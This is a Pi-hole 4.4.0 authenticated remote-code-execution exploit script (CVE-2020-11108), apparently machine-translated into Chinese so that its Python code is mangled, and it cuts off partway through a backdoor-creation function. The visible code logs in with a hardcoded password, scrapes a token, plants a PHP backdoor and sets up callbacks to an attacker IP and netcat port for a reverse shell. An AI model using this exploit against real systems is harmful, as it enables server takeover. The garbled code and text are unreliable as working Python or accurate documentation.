#漏洞标题:PI-HOLE 4.4.0-远程代码执行(认证)#日期:2020-05-22#漏洞作者:照片作者#供应商咨询:[1]https://github.com/pi-hole/AdminLTE#版本:PI-HOLE<;=4.4.0+WEB<;=4.3.3#测试环境:PI-HOLE v4.4.0-g9e49077,WEB v4.3.3,v4.3.2-1-g4f824be,FTL v5.0(在Debian10上)#cve:cve-2020-11108#!/usr/bin/env python3';';';版权所有2020 Photubias(C)本程序是自由软件:您可以根据自由软件基金会发布的GNU通用公共许可证的条款重新分发和/或修改它,可以是许可证的第三版,也可以是(根据您的选择)任何更高的版本。分发本程序的目的是希望它有用,但没有任何担保;甚至没有对适销性或是否适用于特定目的的默示担保。有关更多详细信息,请参阅GNU通用公共许可证。您应该已经收到此程序附带的GNU通用公共许可证副本。如果没有,请参阅<;http://www.gnu.org/licenses/>;.。基于(并改进):Tijl[dot]DeNeut[at]howest[dot]be for www.ic4.be#VULNERABLE安装说明(出自干净的Debian 10-Buster):>;apt update&;apt install-y curl>;curl-ssl https://install.pi-hole.net|bash>;编写的ijl[dot]deneut[at]howest[dot]be for www.ic4.be#VULNERABLE Setup Install-y curl>;curl-ssl https://install.pi-hole.net|bash>;pihole签出Web版本/v4.3.3>;cd/etc/.pihole/&;&;&;git签出v4.4>;pihole-r##选择重新配置这是没有要求的本机实现,用Python 3编写。在Windows和Linux(可能是MacOS;-)功能:*在利用之前执行可靠的检查(不是基于版本号)*在没有权限提升的情况下执行正常的RCE(更值得信任)*在运行根RCE之前询问(因为这会覆盖某些文件)*在所有情况下(成功/失败)执行清理(成功/失败)';';';';导入urllib.request,ssl,http.cookiejar,sys,string,随机导入套接字,_thread,time#default vars;change at will_surl='。_sPASSWORD=';6DS4QtW5';_iTIMEOUT=5_sLOCALIP=';192.168.50.1';_sFILENAME=';fun2.php';_sLOCALNCPORT=';4444';##确保首先在此端口上设置侦听器##忽略未签名证书SSL._CREATE_DEFAULT_HTTPS_CONTEXT=SSL._CREATE_UNVERIFIED_CONTEXT##跟踪请求之间的cookie cj=http.cookiejar.CookieJar()oOpener=urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))定义随机字符串(iStringLength=8):sLetters=string.ascii_lowercase return';';.join(随机选择(SLetters)for i in Range(IStringLength))def postData(Surl,lData,bEncode=True):try:if bEncode:oData=urllib.parse.urlencode(LData).encode()Else:oData=str(LData).encode()oRequest=urllib.request.Request(url=surl,data=oData)return oOpener。)sys.exit(1)def getEndpoint():IF NOT_SURL[:4].LOWER()==';Http';:SURL=';http://';+_Surl Else:SURL=_SURL如果不是SURL[:-1]==';/';:SURL+=';如果不是';/ADMIN';在SURL:SURL+=';尝试:oRequest=urllib.request.Request(Surl)oResponse=oOpener.open(oRequest,Timeout=_iTIMEOUT)例外:打印(';[-]错误:';+Surl+';没有响应';)如果oResponse.code==200,则退出(1)如果oResponse.code=200:打印(';[+]易受攻击的URL为';+Surl)返回Surl否则:打印。)exit(1)def startListener(sPayload,iSockTimeout):##侦听器必须始终位于端口80,否则无法工作oSock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)print(';[!]。绑定到';+_sLOCALIP+';:80';)oSock.bind((_sLOCALIP,80))oSock.settimeout(ISockTimeout)oSock.listen()而True:try:oConn,sAddr=oSock.Accept()除非:中断打印(';[+]是,我们有来自';+str(sAddr[0])的传入连接。关闭侦听器';)def doLogin(surl,sPassword):spath=';/index.php?login';lData={';pw';:sPassword}o Response=postData(surl+spath,lData)sResult=oResponse.read().decode(errors=';ignore';)IF';sResult:Print(';错误密码';)sys.exit(1)return True def getToken(Surl):spath=';/settings.php?tab=block list';oResponse=oOpener.open(urllib.request.Request(surl+spath),timeout=_iTIMEOUT)sResult=oResponse.read().decode(errors=';ignore';)if';id=\';Token\';';';在sResult:return sResult.。';)[1].Split(';<;';)[0]Else:print(';[-]获取令牌时出错)sys.exit(1)def createBackdoor(surl,sFilename):stoken=getToken(Surl)spath=';/